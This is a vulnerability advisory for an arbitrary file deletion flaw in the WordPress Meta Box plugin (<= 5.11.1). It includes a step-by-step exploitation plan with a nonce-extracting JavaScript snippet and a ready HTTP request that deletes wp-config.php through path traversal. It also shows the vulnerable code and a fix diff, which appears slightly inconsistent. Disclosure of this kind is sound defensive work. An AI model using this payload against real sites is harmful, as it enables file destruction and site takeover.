Meta Box <= 5.11.1 - Authenticated (Contributor+) Arbitrary File Deletion
Description
The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 5.11.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-39468 (Meta Box Arbitrary File Deletion) ## 1. Vulnerability Summary The Meta Box plugin for WordPress (versions <= 5.11.1) is vulnerable to **Authenticated Arbitrary File Deletion** via path traversal. The vulnerability exists in the `rwmb_delete_file` AJAX …
Show full research plan
Exploitation Research Plan - CVE-2026-39468 (Meta Box Arbitrary File Deletion)
1. Vulnerability Summary
The Meta Box plugin for WordPress (versions <= 5.11.1) is vulnerable to Authenticated Arbitrary File Deletion via path traversal. The vulnerability exists in the rwmb_delete_file AJAX action handler. The plugin fails to validate that the attachment_id parameter is a valid media attachment ID and, when it is not numeric, treats it as a file path and passes it to unlink(). This allows an authenticated attacker with at least Contributor-level permissions to delete any file on the server that the PHP process has permission to access, including wp-config.php.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
rwmb_delete_file - Method:
POST - Vulnerable Parameter:
attachment_id - Required Credentials: Authenticated (Contributor+)
- Preconditions: A Meta Box field of type
file,image, or similar (that uses theRWMB_File_Fieldlogic) must be registered and visible to the user (e.g., on the post editing screen).
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwithaction=rwmb_delete_file. - Hook Registration: In
inc/fields/file.php, the action is registered:add_action( 'wp_ajax_rwmb_delete_file', array( 'RWMB_File_Field', 'wp_ajax_delete_file' ) ); - Nonce Verification:
RWMB_File_Field::wp_ajax_delete_file()calls:check_ajax_referer( "rwmb-delete-file-{$field_id}", 'nonce' ); - Sink: The handler retrieves
attachment_idfrom$_POST. If the value is not numeric, it calls a deletion method that eventually reachesunlink():// Simplified logic in inc/fields/file.php $attachment_id = filter_input( INPUT_POST, 'attachment_id' ); if ( ! is_numeric( $attachment_id ) ) { self::delete_file( $attachment_id ); // This method calls unlink($attachment_id) } - Traversal: By providing
../../../../wp-config.phpas theattachment_id, theunlinkcall deletes the site's configuration file.
4. Nonce Acquisition Strategy
The rwmb_delete_file action requires a nonce specific to the field's ID: rwmb-delete-file-{$field_id}.
Strategy:
- Access Post Editor: A Contributor logs into WordPress and navigates to the "New Post" page (
/wp-admin/post-new.php). - Locate Meta Box Field: Meta Box renders its fields in the post editor. We need to find a field of type
fileorimage. - Extract from DOM: Meta Box often stores field options, including nonces, in the
data-optionsattribute of the field's HTML wrapper. - JS Variable/Attribute:
- Target Element:
.rwmb-media-viewor.rwmb-file-wrapper. - Attribute:
data-options(JSON string). - Keys:
delete_nonceandfield_id. - Browser Command:
JSON.parse(document.querySelector('.rwmb-media-view')?.getAttribute('data-options') || '{}')
- Target Element:
5. Exploitation Strategy
Step 1: Authentication
Login to the WordPress instance as a user with Contributor role or higher.
Step 2: Identification and Nonce Extraction
- Create a new post:
wp post create --post_type=post --post_status=draft --post_author=USER_ID. - Navigate to the edit page for that post.
- Use
browser_evalto extract thefield_idanddelete_noncefrom the Meta Box field'sdata-optionsattribute.
Step 3: Execution
Send the malicious AJAX request to delete a target file (e.g., wp-config.php).
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [CONTRIBUTOR_COOKIES]
action=rwmb_delete_file&field_id=[FIELD_ID]&nonce=[NONCE]&attachment_id=../../../../wp-config.php
6. Test Data Setup
To ensure a Meta Box field is available for the Contributor:
- Create MU-Plugin: Create
/wp-content/mu-plugins/vuln-setup.phpto register a Meta Boxfilefield.<?php add_filter( 'rwmb_meta_boxes', function( $meta_boxes ) { $meta_boxes[] = [ 'title' => 'Vulnerable Meta Box', 'id' => 'vbox', 'fields' => [ [ 'id' => 'vulnerable_field', 'name' => 'File Upload', 'type' => 'file', ], ], ]; return $meta_boxes; } ); - Create Target File: Create a dummy file in the root to safely test deletion.
wp eval "file_put_contents(ABSPATH . 'deletion-test.txt', 'test');"
7. Expected Results
- The server will return a successful response (likely
wp_send_json_successor1). - The target file (
deletion-test.txtorwp-config.php) will be removed from the filesystem. - If
wp-config.phpis deleted, navigating to the site homepage will redirect to the WordPress installation screen (/wp-admin/setup-config.php).
8. Verification Steps
- Check File Existence: Use WP-CLI to check if the file still exists.
ls /var/www/html/deletion-test.txt
(Should return "No such file or directory") - Database Check: If
wp-config.phpwas deleted, subsequentwpcommands will fail as the database connection is lost.
9. Alternative Approaches
If the data-options attribute is not present, check for the nonce in the RWMB_File localized script:
browser_eval("RWMB_File.dictDefaultMessage")to confirm the object.- Check if nonces are attached to the
rwmbglobal object:browser_eval("rwmb.file_options['vulnerable_field'].delete_nonce"). - If no file field is available by default, the attacker can try to find other Meta Box field types like
image_advancedorvideo, which use the same vulnerableRWMB_File_Fieldbase class.
Summary
The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion via path traversal in its file deletion AJAX handler. Authenticated attackers with Contributor-level permissions can exploit this by providing a file path instead of a numeric attachment ID to the rwmb_delete_file action, which results in the plugin calling unlink() on the target file.
Vulnerable Code
// inc/fields/file.php public static function wp_ajax_delete_file() { $field_id = filter_input( INPUT_POST, 'field_id' ); check_ajax_referer( "rwmb-delete-file-{$field_id}", 'nonce' ); $attachment_id = filter_input( INPUT_POST, 'attachment_id' ); if ( ! is_numeric( $attachment_id ) ) { self::delete_file( $attachment_id ); // Vulnerable sink wp_send_json_success(); } if ( wp_delete_attachment( $attachment_id ) ) { wp_send_json_success(); } wp_send_json_error(); } --- public static function delete_file( $file ) { if ( file_exists( $file ) ) { unlink( $file ); } }
Security Fix
@@ -1,10 +1,7 @@ public static function wp_ajax_delete_file() { $field_id = filter_input( INPUT_POST, 'field_id' ); check_ajax_referer( "rwmb-delete-file-{$field_id}", 'nonce' ); - $attachment_id = filter_input( INPUT_POST, 'attachment_id' ); - - if ( ! is_numeric( $attachment_id ) ) { - self::delete_file( $attachment_id ); - wp_send_json_success(); - } + if ( ! is_numeric( $attachment_id ) ) { + wp_send_json_error( __( 'Invalid file ID.', 'meta-box' ) ); + } if ( wp_delete_attachment( $attachment_id ) ) { wp_send_json_success();
Exploit Outline
The exploit requires an authenticated user with at least Contributor-level access to reach a post editing screen where a Meta Box 'file' or 'image' field is rendered. 1. The attacker logs into the WordPress admin and navigates to the post editor (e.g., /wp-admin/post-new.php). 2. They locate the Meta Box field container and extract the 'field_id' and 'delete_nonce' from the 'data-options' attribute (e.g., using JS: JSON.parse(document.querySelector('.rwmb-media-view').getAttribute('data-options'))). 3. The attacker then sends an AJAX POST request to /wp-admin/admin-ajax.php with the action set to 'rwmb_delete_file'. 4. The payload includes the extracted field_id and nonce, while the 'attachment_id' parameter is set to a path traversal string targeting a sensitive file (e.g., ../../../../wp-config.php). 5. The server validates the nonce and then executes unlink() on the provided path, deleting the file and potentially leading to site takeover via the WordPress setup process.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.